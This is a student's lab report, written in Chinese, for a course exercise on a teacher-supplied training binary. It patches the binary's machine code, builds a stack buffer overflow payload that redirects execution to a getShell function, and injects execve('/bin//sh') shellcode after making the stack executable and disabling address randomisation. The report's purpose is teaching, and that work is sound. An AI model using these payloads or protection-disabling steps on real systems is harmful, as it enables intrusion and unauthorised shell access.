实验准备
- 首先在gitee上下载老师提供的
pwn1
文件。 - 将
pwn1
文件通过共享文件夹传到kali上以便使用。 - 将
pwn1
文件复制到主目录下,并进行备份cp pwn1 pwn0
。
知识点概括
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”
-
掌握反汇编与十六进制编程器
-
能正确修改机器指令改变程序执行流程
-
能正确构造payload进行bof攻击
任务一 直接修改程序机器指令,改变程序执行流程
通过修改main函数中的call指令跳转的地址,使其本来该跳转到foo
函数时,跳转到getshell
函数,从而运行getshell
函数。
1. 输入指令objdump -d pwn1 | more
反汇编pwn1文件。
call指令的机器码为e8
,其跳转的位置为寄存器EIP的值+call 指令后面的立即数。
我们可以看出call 8048491 e8 d7 ff ff ff
。
其中foo函数的地址为08048491
,getshell函数的地址为0804847d
,通过计算其对应关系(小端机器):
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址
所以我们只需将其中的call指令的目标地址由d7ffffff变为c3ffffff。
2. 输入指令vi pwn1
打开文件。
打开之后我们会看到文件以ASCII码的形式出现
所以我们要输入命令让其转换为16进制表示
:%!xxd
3. 通过/e8d7
查找要修改的内容
可以看出,使用/e8d7
命令并没有找到我们需要找的地方,这是因为e8 和 d7 是分开的,我们要找/d7ff
4. 找到后,输入i进入插入模式,将d7修改为c3
查看我们修改的地方前后的代码,发现没有问题,就是我们需要的修改的地方。
5. 输入:%!xxd -r
将文件转换为ASCII码形式,输入:wq
保存并退出
6. 这时候,我们再反汇编pwn1文件,查看是否修改成功。
输入objdump -d pwn1 | more
,查看当前反汇编情况。
可以看到程序已经被我们修改成跳转到getshell函数了。
7. 运行pwn1文件和pwn0文件(pwn1文件是被修改过的,pwn0文件是未被修改过的),可以发现两个文件的运行结果不同。
实验成功。
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
1. 反汇编,了解程序的基本功能
输入指令objdump -d pwn0 | more
查看,计算要达到缓冲区溢出说需要输入的字符数
root@LHR-kali:~/文档/Network20175318/Exp1# objdump -d pwn0 | more
8048472: e9 79 ff ff ff jmp 80483f0 <register_tm_clones>
8048477: 90 nop
8048478: e9 73 ff ff ff jmp 80483f0 <register_tm_clones>
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
080484d0 <__libc_csu_init>:
80484d0: 55 push %ebp
可以推测,需要输入的字节大约在32字节,下面对其进行验证
2. 确认输入字符串哪几个字符会覆盖到返回地址
另外开启一个终端,对pwn0进行gdb调试,输入字符串1111111122222222333333334444444412345555
,观察一下各寄存器的值
可以发现,如果输入字符串1111111122222222333333334444444412345555
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码,只要把这里的代码换成getshell的内存地址,输给pwn0,pwn0就会运行getshell。
由图可以知道getshell的地址为
root@LHR-kali:~/文档/Network20175318/Exp1# objdump -d pwn0 | more
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
3. 确认用什么值来覆盖返回地址
getshell函数的地址为:0x0804847d
fs 0x0 0
gs 0x63 99
(gdb) break *0x804849d
Breakpoint 1 at 0x804849d
(gdb) info break
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804849d <foo+12>
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/文档/Network20175318/Exp1/pwn0
Breakpoint 1, 0x0804849d in foo ()
(gdb)
正确输入应为11111111222222223333333344444444x7dx84x04x08
。
4. 构造输入字符串
因为我们无法通过键盘输入十六进制的值,所以我们先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > BOF
root@LHR-kali:~/文档/Network20175318/Exp1# perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > BOF
我们可以通过xxd BOF
命令查看我们创建的文件:
通过管道符|
,作为pwn0
的输入,格式为(cat BOF; cat ) | ./pwn0
。
实验成功。
任务三 注入Shellcode并运行攻击
shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
1. 准备工作
- 输入指令
apt-get install execstack
安装execstack,并设置堆栈可执行:
execstack -s pwn2 //设置堆栈可执行
execstack -q pwn2 //查询文件的堆栈是否可执行
- 关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
(“2”为开启,“0”为关闭)
2. 构造要注入的payload
- 我们需要注入一段代码,我们首先构造一个input(参考老师给的代码)
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input
-
在一个窗口运行
(cat input;cat) | ./pwn2
-
在另外一个窗口
ps -ef | grep pwn
能看见当前运行pwn2的进程号为3019;
-
在gdb里面
attach 3019
进行调试 -
使用
disassemble foo
反编译 -
可以看到ret指令的地址为
0x080484ae
,在此处设置断点break *0x080484ae
root@LHR-kali:~/文档/Network20175318/Exp1# gdb pwn2
(gdb) attach 3019
Attaching to program: /root/文档/Network20175318/Exp1/pwn2, process 3019
Reading symbols from /lib/i386-linux-gnu/libc.so.6...
(No debugging symbols found in /lib/i386-linux-gnu/libc.so.6)
Reading symbols from /lib/ld-linux.so.2...
(No debugging symbols found in /lib/ld-linux.so.2)
0xf7fd3b59 in __kernel_vsyscall ()
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb)
-
在另一个终端按下回车,这样程序就会执行之后在断点处停下来
-
再在gdb调试的终端输入
c
继续运行程序 -
info r esp
查看esp寄存器地址 -
x/16x 0xffffd38c
以16进制形式查看0xffffd38c
地址后面16字节的内容 -
从上图中看到01020304所在的地址为0xffffd38c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd38c + 0x00000004 = 0xffffd390。随后退出gdb调试。
12.修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"x90xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input
13.输入命令(cat input;cat) | ./pwn2
实验成功。
遇到的问题及解决方法
1.bash: ./pwn0: 权限不够
答:我试了学长的办法,https://www.cnblogs.com/zl20154312/p/8511455.html,安装完成后依然无法运行。
我思考了一下,权限不够以前在运行脚本时候出现过,所以我试了试chmod +x pwn0
问题得到解决。
实验收获与感想
实验收获:
这次实验是网络攻防技术的第一次实验,以前没有了解过这方面的知识,上学期的《信息安全技术》中提到了缓冲区溢出攻击。这次实验课前学习视频让我对缓冲区溢出攻击有了初步的了解,并且做实验中,看老师的指导,也学会了缓冲区溢出攻击的原理和基本步骤。所谓缓冲区溢出攻击就是利用缓冲区溢出漏洞所进行的攻击行动;我们向程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。我们要掌握好基础知识,为以后学习网络攻防打下良好的基础。
但是当我们学习了网络攻防知识后,我们要正确利用学到的东西,不能将这些知识用于非法领域,“kali学得好,监狱进的早”
互联网不是法外之地!
什么是漏洞?漏洞有什么危害?
漏洞应该就是硬件或软件上存在的可以被非法利用的部分,这些部分一般不会被人察觉,一旦被不法分子发现,他们就会通过漏洞进行非法操作。所以也就有擅长网络系统安全的工程师“白帽子”提前发现漏洞,及时提交给公司或部门,及时修复漏洞,提升安全等级。昨天我网站刚备案好,晚上就被一个朋友打了。
漏洞可以让数据遭到破坏,程序崩溃,甚至可以执行任何恶意代码,我们要加强自己的系统安全等级,免得漏洞的打扰。
参考资料
汇编指令机器码对照